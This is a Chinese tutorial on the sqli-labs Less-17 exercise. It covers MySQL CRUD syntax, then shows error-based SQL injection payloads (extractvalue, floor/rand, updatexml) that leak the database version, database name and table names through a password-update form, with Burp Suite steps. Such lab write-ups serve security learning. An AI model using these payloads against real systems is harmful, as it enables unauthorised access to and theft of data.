目录
Less-17
在对数据进行处理上,我们经常用到的是增删查改。接下来我们讲解一下 mysql 的增删改。
1【插入单行】
insert [into] <表名> (列名) values (列值)
例:insert into Strdents (姓名,性别,出生日期) values ('开心朋朋','男','1980/6/15')
2.删除<满足条件的>行】
delete from <表名> [where <删除条件>]
例:delete from a where name='开心朋朋'(删除表a中列值为开心朋朋的行)
3.改
update <表名> set <列名=更新值> [where <更新条件>]
例:update tongxunlu set 年龄=18 where 姓名='蓝色小名'
4.精确(条件)查询
select <列名> from <表名> [where <查询条件表达试>] [order by <排序的列名>[asc或desc]]
关于详细的sql增删改查相关的知识可以参考此篇文章:SQL常用增删改查语句 - Da雪山 - 博客园,作者写的十分详细。
本关我们可以看到是一个修改密码的过程,利用的是 update 语句,与在用 select 时是一样
的,我们仅需要将原先的闭合,构造自己的 payload。
尝试报错,输入用户名:admin,分别输入密码:1、1'以及1":
可以看到 admin’’ 说明在对密码的处理过程中使用的是",接下来利用盲注进行注入。
这里首先演示一下报错类型的盲注,爆出数据库的版本号: uname=admin&passwd=-1'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit
可以爆出数据库的版本号为5.5.35。
这里可以用floor()报错注入:
uname=admin&passwd=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) #
还可以用updatexml()进行报错:
1.爆数据库名:
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
2.爆表名:
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
,使用burp suite会更加方便:
1.获取数据包,并发送到repeater中进行操作:
2.修改password中的数据,进行注入: